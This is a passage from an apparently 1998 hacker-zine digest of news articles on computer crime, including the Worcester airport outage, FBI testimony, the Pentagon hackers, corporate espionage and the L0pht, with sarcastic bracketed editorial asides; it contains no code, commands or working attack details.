|
|||
|
``Those are the attacks that cause tens of millions of dollars,'' Power
|
|||
|
said.
|
|||
|
|
|||
|
But it's still the outside jobs that grab headlines. A Defense Department
|
|||
|
official last week termed the attack linked to the young hackers ``the
|
|||
|
most organized and systematic attack the Pentagon has seen to date.''
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
0x6>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: Hacker Cripples Airport Tower
|
|||
|
|
|||
|
A juvenile hacker who crippled an airport tower for six hours, damaged a
|
|||
|
town's phone system, and broke into pharmacy records has been charged in a
|
|||
|
first-ever federal prosecution, the U.S. Attorney's office announced
|
|||
|
today.
|
|||
|
|
|||
|
But in a plea bargain, the juvenile will serve no jail time, the
|
|||
|
government announced.
|
|||
|
|
|||
|
The incidents occurred in early 1997, but the federal criminal charges
|
|||
|
were unsealed just today. The government said it was the first federal
|
|||
|
prosecution ever of a minor for a computer crime.
|
|||
|
|
|||
|
According to U.S. Attorney Donald K. Stern, the hacker disabled a key
|
|||
|
telephone company computer servicing the Worcester airport, roughly 45
|
|||
|
miles southwest of Boston.
|
|||
|
|
|||
|
"As a result of a series of commands sent from the hacker's personal
|
|||
|
computer, vital services to the FAA control tower were disabled for six
|
|||
|
hours in March of 1997," a release from Stern's office said.
|
|||
|
|
|||
|
[So the FAA routes vital tower control through the PSTN? Scary...]
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
The plea agreement sentences the juvenile to two years' probation, "during
|
|||
|
which he may not possess or use a modem or other means of remotely
|
|||
|
accessing a computer or computer network directly or indirectly,"
|
|||
|
according to Stern
|
|||
|
|
|||
|
In addition, he must pay restitution to the telephone company and complete
|
|||
|
250 hours of community service. He has been required to forfeit all of the
|
|||
|
computer equipment used during his criminal activity.
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
"Public health and safety were threatened by the outage, which resulted in
|
|||
|
the loss of telephone service, until approximately 3:30 p.m., to the
|
|||
|
Federal Aviation Administration Tower at the Worcester Airport, to the
|
|||
|
Worcester Airport Fire Department, and to other related concerns such as
|
|||
|
airport security, the weather service, and various private air freight
|
|||
|
companies.
|
|||
|
|
|||
|
"Further, as a result of the outage, both the main radio transmitter,
|
|||
|
which is connected to the tower by the loop carrier system, and a circuit,
|
|||
|
which enables aircraft to send an electric signal to activate the runway
|
|||
|
lights on approach, were not operational for this same period of time."
|
|||
|
|
|||
|
[NICE design guys... real nice.]
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
0x7>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: Profits Embolden Hackers
|
|||
|
Source: InternetWeek
|
|||
|
Author: Tim Wilson
|
|||
|
|
|||
|
Conventional wisdom says that most IT security threats come from inside
|
|||
|
the company, not outside. Any guess who's reaping the greatest benefit
|
|||
|
from that little piece of wisdom?
|
|||
|
|
|||
|
Hackers and computer criminals.
|
|||
|
|
|||
|
In two separate studies completed this month, Fortune 1000 companies
|
|||
|
reported more financial losses due to computer vandalism and espionage in
|
|||
|
1997 than they ever experienced before. Several corporations said they
|
|||
|
lost $10 million or more in a single break-in. And reports of system
|
|||
|
break-ins at the Computer Emergency Response Team site are the highest
|
|||
|
they've ever been.
|
|||
|
|
|||
|
Despite recent security product and technology developments, computer
|
|||
|
networks are becoming more vulnerable to outside attack, not less.
|
|||
|
|
|||
|
[Woohoo!]
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
"I know about 95 percent of [the vulnerabilities] I am going to find at a
|
|||
|
company before I even get there," said Ira Winkler, president of the
|
|||
|
Information Security Advisory Group -- a firm that specializes in
|
|||
|
penetrating business security systems to expose vulnerabilities -- and
|
|||
|
author of the book Corporate Espionage. "I can steal a billion dollars
|
|||
|
from any [corporation] within a couple of hours."
|
|||
|
|
|||
|
[One trick pony...]
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
In a study to be published next month, WarRoom Research found that the
|
|||
|
vast majority of Fortune 1000 companies have experienced a successful
|
|||
|
break-in by an outsider in the past year. More than half of those
|
|||
|
companies have experienced more than 30 system penetrations in the past 12
|
|||
|
months. Nearly 60 percent said they lost $200,000 or more as a result of
|
|||
|
each intrusion.
|
|||
|
|
|||
|
In a separate study published earlier this month by the Computer Security
|
|||
|
Institute and the FBI, 520 U.S. companies reported a total loss of $136
|
|||
|
million from computer crime and security breaches in 1997, an increase of
|
|||
|
36 percent from the year before. The Internet was cited by 54 percent of
|
|||
|
the respondents as a frequent point of attack, about the same percentage
|
|||
|
of respondents that cited internal systems as a frequent point of attack.
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
What You Can Do
|
|||
|
|
|||
|
One universal piece of advice came from hackers, hackers for hire and
|
|||
|
those who collect computer crime data: When your vendor issues a software
|
|||
|
patch, install it immediately.
|
|||
|
|
|||
|
"The biggest mistake people make is that they underestimate the threat,"
|
|||
|
Moss said. "They don't put in the patches, they misconfigure their
|
|||
|
firewalls, they misconfigure routers."
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
0x8>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: Cyberattacks spur new warning system
|
|||
|
Author: Heather Harreld
|
|||
|
Date: March 23, 1998
|
|||
|
|
|||
|
The Defense Department has created a new alert system to rate the level of
|
|||
|
threats to its information systems that mirrors the well-known Defense
|
|||
|
Conditions (DEFCONs) ratings that mark the overall military status in
|
|||
|
response to traditional foreign threats.
|
|||
|
|
|||
|
The new Information Conditions, or "INFOCONs," are raised and lowered
|
|||
|
based upon cyberthreats to DOD or to the U.S. Strategic Command (Stratcom)
|
|||
|
at Offutt Air Force Base in Nebraska. Stratcom is responsible for
|
|||
|
deterring any military attack on the United States and for deploying
|
|||
|
troops or launching nuclear weapons should deterrence fail, a Stratcom
|
|||
|
spokesman said. As INFOCONs are raised, officials take additional measures
|
|||
|
to protect information systems.
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
Officials at Stratcom have developed detailed guidelines on raising and
|
|||
|
lowering INFOCONs based on the threat. Structured, systematic attacks to
|
|||
|
penetrate systems will result in a higher INFOCON level than when
|
|||
|
individual, isolated attempts are made, according to Stratcom.
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
0x9>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: <pure lameness>
|
|||
|
Source: "Betty G.O'Hearn" <betty@infowar.com>
|
|||
|
|
|||
|
Infowar.Com was notified today by the "Enforcers" Computer Hackers Group,
|
|||
|
that an agreement was reached with chief negotiator Ian A. Murphy, aka
|
|||
|
Capt. Zap, to cease and desist their cyber destruction witnessed in the
|
|||
|
recent attacks and intrusions that have rocked the Internet in past weeks.
|
|||
|
The Enforcers began their massive assault on corporate and military
|
|||
|
websites after the arrest of "Pentagon Hackers" here in the US and Israel.
|
|||
|
|
|||
|
Ian Murphy, CEO of IAM/Secure Data Systems, and the first US hacker
|
|||
|
arrested back in 1981, issued press releases during negotiations. (see
|
|||
|
www.prnewswire.com) Murphy began the process to begin deliberations out of
|
|||
|
a sense of duty. Murphy's dialogue with members of the Enforcer group
|
|||
|
pointed to the fact that the destruction was counter productive. He urged
|
|||
|
the group to consider halting this activity. "The destruction of
|
|||
|
information systems for an alleged cause is not the way to go about such
|
|||
|
things in defense of Hackers and Crackers."
|
|||
|
|
|||
|
[Who made Ian Murphy chief negotiator? Why wasn't I notified so I
|
|||
|
could talk to these wankers? This is the kind of pathetic shit
|
|||
|
that makes PRNewswire the pond scum of journalism. In case you couldn't
|
|||
|
tell, this is pure media hype designed to get more business for
|
|||
|
Murphy and CO.]
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
|
|||
|
Statement from a Enforcers representative is below.
|
|||
|
|
|||
|
[HTML tags have been removed.]
|
|||
|
|
|||
|
From: Adam <<adamb1@flash.net>
|
|||
|
Reply-To: adamb1@flash.net
|
|||
|
Date: March 26, 1998
|
|||
|
Organization: Adam's Asylum
|
|||
|
To: "Betty G.O'Hearn" <<betty@infowar.com>
|
|||
|
Subject: Enforcers Press Release/Announcement
|
|||
|
|
|||
|
STATEMENT OF THE ENFORCERS
|
|||
|
|
|||
|
We, the Enforcers, have decided that it would be in the best interest of
|
|||
|
the hacking community and the security community at large to cease and
|
|||
|
desist all web site hacking of external businesses as advised by Mr. Ian
|
|||
|
Murphy (Captain Zap.) We agree that our actions are not productive and are
|
|||
|
doing more harm than good towards the security community.
|
|||
|
|
|||
|
Therefore, as an agent of the Enforcers, I hereby state that all web site
|
|||
|
hacks on external sites will be immediately halted. We feel that there
|
|||
|
will be other avenues opening to achieve our goal of a substantial
|
|||
|
reduction in child pornography and racist web sites and netizens. We also
|
|||
|
support the larger goals of the hacker community and in the future we will
|
|||
|
work to augment the public's view rather than detract from it. All members
|
|||
|
of Enforcers who hacked the web sites have agreed to this release and will
|
|||
|
stop hacking external web sites.
|
|||
|
|
|||
|
[13:51 GMT -0600 26 March 1998]
|
|||
|
|
|||
|
We thank you for your time and assistance in this matter.
|
|||
|
|
|||
|
We congratulate both Mr. Murphy and The Enforcers for their diligence in
|
|||
|
reaching this agreement. This is indeed an act of peace in our cyberworld.
|
|||
|
|
|||
|
[This is indeed an act which causes illness to stomach.]
|
|||
|
|
|||
|
0xa>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: IBM's Ethical Hackers Broke In!
|
|||
|
|
|||
|
TUCSON, Ariz. (March 23, 1998 8:30 p.m.) - International Business Machines
|
|||
|
Corp.'s team of "ethical hackers" successfully broke into an unnamed
|
|||
|
company's computer network in a demonstration of a live attack at a
|
|||
|
computer industry conference.
|
|||
|
|
|||
|
[They make it sound like this is a big event. "Look guys! We
|
|||
|
actually broke in!#$!"]
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
Palmer said IBM charges between $15,000 to $45,000 to perform a hack of a
|
|||
|
company's system, with its permission, to test its security. Palmer said
|
|||
|
because hacking is a felony, its clients sign a contract that he calls a
|
|||
|
"get out of jail free card" specifying what IBM is allowed to do.
|
|||
|
|
|||
|
The IBM team, which has an 80 percent success rate in electronic
|
|||
|
break-ins, is not a team of reformed hackers and Palmer warned the
|
|||
|
audience that hiring former hackers can be very dangerous, and not worth
|
|||
|
the risk.
|
|||
|
|
|||
|
[*BULLSHIT* .. IBM hires hackers.. IBM hires hackers.. secret is out,
|
|||
|
nyah nyah.]
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
He said that there are currently about 100,000 hackers worldwide, but that
|
|||
|
about 9.99 percent of those hackers are potential professional hired
|
|||
|
hackers, who may be involved in corporate espionage, and .01 percent are
|
|||
|
world class cyber criminals. Ninety percent are amateurs who "cyber"
|
|||
|
joyride."
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
0xb>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: Two accused of conspiring to hack into CWRU system
|
|||
|
Source: Plain Dealer Reporter
|
|||
|
Author: Mark Rollenhagen
|
|||
|
Date: Thursday, March 26, 1998
|
|||
|
|
|||
|
A federal grand jury yesterday indicted two Cleveland Heights residents on
|
|||
|
felony computer hacking charges.
|
|||
|
|
|||
|
Rebecca L. Ching, 27, and Jason E. Demelo, 22, who authorities said live
|
|||
|
in an apartment on Mayfield Rd., are accused of conspiring to hack into
|
|||
|
the computer system at Case Western Reserve University between October
|
|||
|
1995 and June 1997.
|
|||
|
|
|||
|
Ching was a systems administrator for a computer system on the CWRU campus
|
|||
|
network during at least a portion of the conspiracy, the indictment said.
|
|||
|
|
|||
|
She is accused of helping Demelo hack into the CWRU system by directing
|
|||
|
him to install a "sniffer" program capable of intercepting electronic
|
|||
|
information, including user names and passwords.
|
|||
|
|
|||
|
Federal prosecutors would not say why Ching and Demelo allegedly sought
|
|||
|
to hack into the system.
|
|||
|
|
|||
|
Neither could be reached to comment.
|
|||
|
|
|||
|
Tom Shrout, director of communications for CWRU, said Ching worked part
|
|||
|
time for the university in its information sciences division three or four
|
|||
|
years ago.
|
|||
|
|
|||
|
The case is believed to be the first federal computer hacking case brought
|
|||
|
in Northern Ohio since the FBI organized a computer crime unit last year.
|
|||
|
|
|||
|
Demelo is also charged with seven counts of illegally intercepting
|
|||
|
electronic communications sent to other universities, including Cleveland
|
|||
|
State University, George Mason University and the University of Minnesota,
|
|||
|
and Internet providers, including Modern Exploration, APK Net Ltd., and
|
|||
|
New Age Consulting Service, and Cyber Access, a software company.
|
|||
|
|
|||
|
0xc>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: FBI Warns of Big Increase In On-line Crime
|
|||
|
|
|||
|
[Hrm.. wonder if it is time to get next year's budget?!]
|
|||
|
|
|||
|
WASHINGTON (March 25, 1998 00:19 a.m. EST) -- Criminal cases against
|
|||
|
computer hackers have more than doubled this year as the ranks of teenage
|
|||
|
hackers were joined by industrial spies and foreign agents, the FBI warned
|
|||
|
Tuesday.
|
|||
|
|
|||
|
[Cases have doubled... no word on convictions.. hrm...]
|
|||
|
|
|||
|
The FBI told a congressional Joint Economic Committee hearing that it had
|
|||
|
recorded a significant increase in its pending cases of computer
|
|||
|
intrusions, rising from 206 to 480 this year.
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
Michael Vatis, head of the FBI's national infrastructure protection
|
|||
|
center, said: "Although we have not experienced the electronic equivalent
|
|||
|
of a Pearl Harbor or Oklahoma City, as some have foretold, the statistics
|
|||
|
and our cases demonstrate our dangerous vulnerabilities to cyber attacks."
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
He told how one hacker had broken into telephone systems in Massachusetts
|
|||
|
to cut off communications at a regional airport and disconnect the control
|
|||
|
tower last year. Last week a teenager agreed to serve two years' probation
|
|||
|
after pleading guilty to disrupting communications at the Worcester,
|
|||
|
Mass., airport for six hours.
|
|||
|
|
|||
|
Another hacker in Florida is accused of breaking into the 911 emergency
|
|||
|
phone system last year and jamming all emergency services calls in the
|
|||
|
region.
|
|||
|
|
|||
|
The FBI said the dangers of cybercrime were rising because of the
|
|||
|
increased availability of hacking tools on the Internet, as well as
|
|||
|
electronic hardware such as radio frequency jamming equipment.
|
|||
|
|
|||
|
Last week Deputy Defense Secretary John Hamre toured European governments
|
|||
|
to warn of the risks of computer crime and discuss possible
|
|||
|
counter-measures.
|
|||
|
|
|||
|
In spite of the publicity surrounding hackers, industrial espionage
|
|||
|
remains the most costly source of cybercrime, the committee heard Tuesday.
|
|||
|
|
|||
|
Last July an unnamed computer communications company sent a malicious
|
|||
|
computer code which diverted communications from one of its rivals. The
|
|||
|
FBI estimated the victim company suffered losses of more than $1.5
|
|||
|
million.
|
|||
|
|
|||
|
Other FBI officials told how the U.S. was increasingly the subject of
|
|||
|
economic attack by foreign governments using computers. Larry Torrence, of
|
|||
|
the FBI's national security division, said foreign agents were
|
|||
|
"aggressively targeting" proprietary business information belonging to
|
|||
|
U.S. companies.
|
|||
|
|
|||
|
More frequently, criminals are using the Internet to defraud potential
|
|||
|
investors with bogus investment schemes and banks.
|
|||
|
|
|||
|
Fraudulent schemes on the Internet were becoming "epidemic," said Neil
|
|||
|
Gallagher, of the FBI's criminal division. One pyramid scheme, called
|
|||
|
Netware International, had recruited 2,500 members across the country by
|
|||
|
promising to share profits of 25 percent a year in a new bank which it was
|
|||
|
claiming to form.
|
|||
|
|
|||
|
Investigators said they had seized almost $1 million to date.
|
|||
|
|
|||
|
0xd>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: Computer hacker jailed for 18 months
|
|||
|
Date: Friday, March 27, 1998
|
|||
|
|
|||
|
A computer hacker who tried to destroy an Internet company that refused to
|
|||
|
hire him was jailed for 18 months today for offences that include
|
|||
|
publishing customer credit card numbers.
|
|||
|
|
|||
|
In the NSW District Court, Judge Cecily Backhouse said Skeeve Stevens
|
|||
|
seriously damaged AUSnet, which has since gone out of business, by
|
|||
|
compromising 1,225 credit cards and by prominently displaying a message on
|
|||
|
its homepage on the World Wide Web.
|
|||
|
|
|||
|
The April 1995 message included: "So dont (sic) be surprised if all you
|
|||
|
(sic) cards have millions of dollars of shit on them ... AUSNET is a
|
|||
|
disgusting network ... and should be shut down and sued by all their
|
|||
|
users!"
|
|||
|
|
|||
|
Stevens, 26, pleaded guilty to inserting data into a computer system in
|
|||
|
Sydney in April 1995 and asked the judge to take into account another
|
|||
|
eight offences, including accessing confidential information.
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
The judge said Stevens' actions caused serious harm to the goodwill of
|
|||
|
AUSnet, whose staff had to answer non-stop calls from angry customers -
|
|||
|
many of whom cancelled their accounts - and who had to deal with crippling
|
|||
|
effects of their cash flows.
|
|||
|
|
|||
|
Judge Backhouse said general deterrence was important in this type of
|
|||
|
offence, which was very hard to detect.
|
|||
|
|
|||
|
She jailed him for three years, but ordered him to be released on a
|
|||
|
recognisance after 18 months. - Australian Associated Press *Australian
|
|||
|
Eastern Daylight Time (AEDT) is 11 hours ahead of Greenwich Mean Time.
|
|||
|
|
|||
|
0xe>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: Afternoon Line
|
|||
|
Source: The Netly News
|
|||
|
Author: Declan McCullah
|
|||
|
Date: March 24, 1998
|
|||
|
|
|||
|
Technology is one of those issues where lawmakers vie to sound as dumb as
|
|||
|
possible. At a "cyber-theft" hearing this morning, Rep. Jim Saxton
|
|||
|
(R-N.J.) said that his only knowledge about computers dates back to when
|
|||
|
his printer had a cover "to shield our ears from the noise." Could the
|
|||
|
witnesses from the FBI please explain the problems they had with this
|
|||
|
newfangled Internet? Sure, replied Michael Vatis, the head of the National
|
|||
|
Infrastructure Protection Center: "There are hacker web sites" out there,
|
|||
|
he said, with software that lets you "click on a button to launch an
|
|||
|
attack." The fact that Carnegie Mellon University's CERT center reported a
|
|||
|
20 percent reduction in attacks from 1996 to 1997 didn't faze him. The
|
|||
|
real problem, Vatis griped, is "people out there who still romanticize
|
|||
|
hackers as kids just having fun. [What about] the elderly person who can't
|
|||
|
get through to 911 in an emergency because of a hacker?" Joining Vatis in
|
|||
|
testifying before Congress' Joint Economic Committee were top FBI honchos
|
|||
|
Larry Torrence and Neil Gallagher. Nobody representing civil liberties
|
|||
|
groups, computer security organizations, or high tech companies was
|
|||
|
invited to speak. --By Declan McCullagh/Washington
|
|||
|
|
|||
|
[...]
|
|||
|
|
|||
|
Witness at the Persecution
|
|||
|
|
|||
|
Then again, there's a job opportunity in Los Angeles for someone with
|
|||
|
top-notch skills in telecommunications, system and network administration,
|
|||
|
and computer security -- and you won't even have to turn on a computer.
|
|||
|
The lawyer for renown hacker Kevin Mitnick is looking for an expert
|
|||
|
witness to testify at his client's trial, and has issued a sort of want-ad
|
|||
|
press release. "Qualified candidates must have an advanced degree and be
|
|||
|
knowledgeable in DOS, Windows, SunOS, VAX/VMS and Internet operations,"
|
|||
|
the job description reads. Oh well, they lost me after "qualified," but
|
|||
|
with Uncle Sam paying the tab it could be the perfect opportunity for
|
|||
|
someone with a taste for the spotlight and nothing on their agenda
|
|||
|
starting as early as March 30.
|
|||
|
|
|||
|
|
|||
|
0xf>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: Hacking Geniuses or Monkeys
|
|||
|
Source: ZDTV
|
|||
|
Author: Ira Winkler
|
|||
|
Date: March 30, 1998
|
|||
|
|
|||
|
By now everyone has heard about the Pentagon hacks-- and the ensuing
|
|||
|
arrests of two teenagers in Cloverdale, Calif., and The Analyzer, the
|
|||
|
Israeli claiming to be the superhacking mentor of the Cloverdale teens.
|
|||
|
There were also two other Israelis arrested at the same time.
|
|||
|
|
|||
|
The media and Websites like antionline.com portrayed the criminals as
|
|||
|
geniuses. I never heard of these supposed geniuses before, but the one
|
|||
|
thing that went through my mind was a quote by Scott Charney, Chief of the
|
|||
|
Department of Justice Computer Crime and Intellectual Property Unit: "Only
|
|||
|
the bad ones get caught."
|
|||
|
|
|||
|
I wanted the inside scoop, so I talked to some real hackers, who are
|
|||
|
really considered "elite" within the hacking community. These are people
|
|||
|
who have been hacking for over a decade and can take control of any system
|
|||
|
that they want. They invent the hacks that the wannabes find tools to
|
|||
|
accomplish.
|
|||
|
|
|||
|
The opinion of the elite varied little: "The hackers involved in the
|
|||
|
Pentagon and ensuing hacks are clueless."
|
|||
|
|
|||
|
Bad hackers are clueless
|
|||
|
|
|||
|
Why are the Pentagon hackers clueless? In the first place, they were
|
|||
|
caught.
|
|||
|
|
|||
|
The inside scoop is that the Pentagon hackers did nothing to cover their
|
|||
|
tracks and used the same routes of access again and again, making their
|
|||
|
capture inevitable. In short, they failed the basics of Criminal Hacking
|
|||
|
101.
|
|||
|
|
|||
|
The true act of stupidity, however, was talking to the press and being
|
|||
|
totally unrepentant about their actions. They even bragged about it. This
|
|||
|
is like asking the FBI, "Please prosecute me."
|
|||
|
|
|||
|
While the Department of Justice doesn't usually prosecute juveniles, the
|
|||
|
teenagers were almost daring them to. Then The Analyzer jumped in,
|
|||
|
threatening to wreak havoc on the entire Internet if the teenagers were
|
|||
|
pursued. A week later he was arrested.
|
|||
|
|
|||
|
Skilled hackers remember the arrest of the people who hacked the DoJ and
|
|||
|
CIA webpages. The lesson: if you leave any tracks while embarrassing the
|
|||
|
US Government, you will be caught.
|
|||
|
|
|||
|
The hacking inner circle told me that The Analyzer did not cover his
|
|||
|
tracks at all, and his capture was easy, even though it spanned
|
|||
|
international lines. And how skillful are The Analyzer and the Pentagon
|
|||
|
hackers? According to my sources, almost all the hacks were accomplished
|
|||
|
via a tool that automatically exploited the rstatd problem.
|
|||
|
|
|||
|
You really don't have to know what the rstatd problem means. The best
|
|||
|
analogy is that the Pentagon hackers found a master key on the street and
|
|||
|
tried it on every lock that they could find. Unfortunately, there are tens
|
|||
|
of thousands of "locks" that the master key fits. This is hardly the sign
|
|||
|
of a computer genius, according to the elite.
|
|||
|
|
|||
|
Who is The Analyzer, anyway?
|
|||
|
|
|||
|
The real hackers then wondered why they have never heard of The Analyzer
|
|||
|
before. The talented hackers do seem to know each other or at least hear
|
|||
|
about the "rising stars" of the community. The Analyzer never fit this
|
|||
|
category. Nor did anyone recognize him when his picture was wired around
|
|||
|
the world.
|
|||
|
|
|||
|
And what about the language that the Pentagon hackers and The Analyzer
|
|||
|
used in their unwise interviews?
|
|||
|
|
|||
|
The Analyzer threatened to damage "Internet servers." Apparently, real
|
|||
|
hackers don't use this term, it is too mainstream. The California
|
|||
|
teenagers were quoted as saying that the reason they hacked was, "Power."
|
|||
|
Among the elite, real power is the anonymous and undetected control of a
|
|||
|
computer. Needless to say, the Pentagon hackers were not anonymous or
|
|||
|
undetected. I wonder how "powerful" they will feel in prison.
|
|||
|
|
|||
|
It didn't surprise my hacker friends when another group of hackers,
|
|||
|
calling themselves The Enforcers, jumped on the bandwagon. These people
|
|||
|
threatened to hack computers all over the world in retaliation for the
|
|||
|
capture of The Analyzer and the Cloverdale teens. Of course, The
|
|||
|
Enforcers' self-proclaimed leader used the same email address to put out
|
|||
|
his statements and respond to queries from the media-- making himself and
|
|||
|
his group easy targets for federal attention.
|
|||
|
|
|||
|
The only reasons he may not be arrested is that his group hasn't caused
|
|||
|
any real damage, and the FBI has more important problems to deal with than
|
|||
|
wannabe hackers looking for their 15 minutes of fame.
|
|||
|
|
|||
|
Hacker wannabes
|
|||
|
|
|||
|
I'm really getting sick of the Pentagon hacking stories, and all the
|
|||
|
wannabe hackers clamoring for their moment in the spotlight. Perhaps, when
|
|||
|
the FBI starts actively prosecuting juveniles and other people for
|
|||
|
hacking-related crimes, these wannabes will start using their computers in
|
|||
|
more productive ways.
|
|||
|
|
|||
|
More importantly, maybe the media will stop portraying anyone who can hack
|
|||
|
a computer as some sort of genius. As I have said before, and as the real
|
|||
|
hackers can confirm, I can train a monkey to break into a computer in a
|
|||
|
few hours. The Pentagon hackers have displayed no more talents than the
|
|||
|
monkeys of which I speak. On the other hand, the fact that they can break
|
|||
|
into Pentagon computers makes the Department of Defense look like monkeys
|
|||
|
as well.
|
|||
|
|
|||
|
The fact that the media continues to paint these wannabes as geniuses
|
|||
|
makes them worse than monkeys.
|
|||
|
|
|||
|
0x10>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: Low Tech Spooks - Corporate Spies
|
|||
|
Source: Forbes
|
|||
|
Author: Adam L. Penenberg
|
|||
|
|
|||
|
In his slightly crumpled brown uniform, Richard Jones looked like any
|
|||
|
typical deliveryman, bringing in a new batch of urgently needed office
|
|||
|
supplies to corporations everywhere. But Jones, who was heading for the
|
|||
|
parking lot of a major chipmaker's border town maquiladora, only looked
|
|||
|
the part. Everything about him that day was made up.
|
|||
|
|
|||
|
His uniform, "A close match, but not perfect," he would recall later, the
|
|||
|
office supplies--paper, pens and toner cartridges--picked up from a local
|
|||
|
stationery store. Even his name was fictional.
|
|||
|
|
|||
|
As Jones took a final deep breath and carried the supplies into the
|
|||
|
company's air-conditioned chill, a security guard took one look at the
|
|||
|
brown uniform and lazily waved him through to the office manager's office.
|
|||
|
Jones had already contacted the delivery company and, pretending to be
|
|||
|
from the semiconductor company, had canceled that week's delivery run.
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
And that was that. The office manager showed Jones around the entire
|
|||
|
premises, pointing out photocopiers, fax machines, bookshelves, supply
|
|||
|
cabinets that had to be resupplied and the offices of executives. She even
|
|||
|
got him coffee.
|
|||
|
|
|||
|
What was the point of the charade? Jones, not his real name, is a
|
|||
|
corporate spook. A rival company had paid him to obtain the semiconductor
|
|||
|
company's forthcoming quarterly earnings before they were announced. The
|
|||
|
fee: a nifty $35,000.
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
Many former Central Intelligence Agency, National Security Agency and
|
|||
|
Defense Intelligence Agency employees have sought refuge in the corporate
|
|||
|
world, often heading their own companies. They even have their own trade
|
|||
|
organization: the Society of Competitor Intelligence Professionals, or
|
|||
|
SCIPs.
|
|||
|
|
|||
|
[You must have proper ID and know the secret handshake to join.]
|
|||
|
|
|||
|
"The scope of the problem is enormous," says Ira Winkler, security
|
|||
|
consultant and author of Corporate Espionage. "On any one day there are a
|
|||
|
few hundred people engaged in breaking into companies and stealing
|
|||
|
information in this country. I can literally walk into a company and
|
|||
|
within a few hours walk out with billions of dollars."
|
|||
|
|
|||
|
[One trick pony...]
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
0x11>------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: 'White Hat' Hackers Probe Pores in Computer Security Blankets
|
|||
|
Source: Washington Post
|
|||
|
Author: Pamela Ferdinand
|
|||
|
Date: April 4, 1998
|
|||
|
|
|||
|
BOSTON: In a chaotic room crammed with computer terminals and circuit
|
|||
|
boards, a long-haired man in black jeans -- "Mudge" by his Internet handle
|
|||
|
-- fiddles with the knobs of a squawking radio receiver eavesdropping on
|
|||
|
the beeps and tones of data transmissions.
|
|||
|
|
|||
|
Nearby, a baby-faced 22-year-old in a baggy sweat shirt, nicknamed
|
|||
|
"Kingpin," analyzes reams of coded equations to break password sequences
|
|||
|
percolating on his computer screen. Other figures with equally cryptic
|
|||
|
identities toil in an adjoining chamber, their concentrated faces lit only
|
|||
|
by a monitor's glare and the flicker of silent television sets.
|
|||
|
|
|||
|
This is the L0pht, pronounced "loft," a techie operations center in a
|
|||
|
suburban warehouse several miles from city center that is inhabited by a
|
|||
|
group whose members have been called rock stars of the nation's
|
|||
|
computer-hacking elite.
|
|||
|
|
|||
|
The seven members of this computer fraternity-cum-high tech clubhouse have
|
|||
|
defeated some of the world's toughest computer and telecommunications
|
|||
|
programs and created security software that is the gold standard of
|
|||
|
corporate and hacking worlds. By day, they are professional computer
|
|||
|
experts, mostly in their twenties and thirties, with jobs and even wives.
|
|||
|
By night, they retreat to the warehouse and their electronic aliases troll
|
|||
|
the Internet for security gaps.
|
|||
|
|
|||
|
Hacking mostly for the challenge, they have exposed security flaws in
|
|||
|
Microsoft Corp.'s leading network operating system, revealed holes in
|
|||
|
Lotus software and figured out how to decode pager messages and mobile
|
|||
|
police terminal data, among other feats.
|
|||
|
|
|||
|
Hackers typically get into supposedly secure computer systems and pinpoint
|
|||
|
security breaches by deciphering elaborate number, letter and symbol
|
|||
|
combinations designed by manufacturers to protect their products. If
|
|||
|
security is breached, users risk having everything from private e-mail
|
|||
|
read to databases erased.
|
|||
|
|
|||
|
A single, unintentional hack is not illegal, the U.S. attorney general's
|
|||
|
office here says. But repeat intruders face criminal penalties, especially
|
|||
|
when they compromise and damage confidential government, military or
|
|||
|
financial information.
|
|||
|
|
|||
|
[Hrm.. such nice vague wording. Break in one time (the first time),
|
|||
|
and it isn't illegal?!]
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
L0pht members pride themselves on a less invasive and more altruistic goal
|
|||
|
just this side of the law: To locate and document Internet security gaps
|
|||
|
for free for the sake of consumers who have been led to believe their
|
|||
|
online transactions are secure.
|
|||
|
|
|||
|
"We think of our Net presence as a consumer watchdog group crossed with
|
|||
|
public television," said "Mudge," a professional cryptographer by day who
|
|||
|
declined to identify himself for security reasons. "At this point, we're
|
|||
|
so high profile . . . it would be ludicrous for us to do anything wrong."
|
|||
|
|
|||
|
Even companies whose products have been hacked for security weaknesses
|
|||
|
laud the social ethos and technical prowess of the members of the L0pht,
|
|||
|
who frequently notify manufacturers and recommend fixes before going
|
|||
|
public with their finds. Unlike villainous hackers labeled "black hats,"
|
|||
|
who probe cyberspace for profit and malice, Robin Hood-style "white hats"
|
|||
|
like the L0pht are generally accorded respect, and even gratitude.
|
|||
|
|
|||
|
[snip...]
|
|||
|
|
|||
|
In the L0pht's most widely publicized hack, "Mudge" and a colleague
|
|||
|
assaulted Microsoft's Windows NT operating system last year and found
|
|||
|
inherent flaws in the algorithm and method designed to hide user
|
|||
|
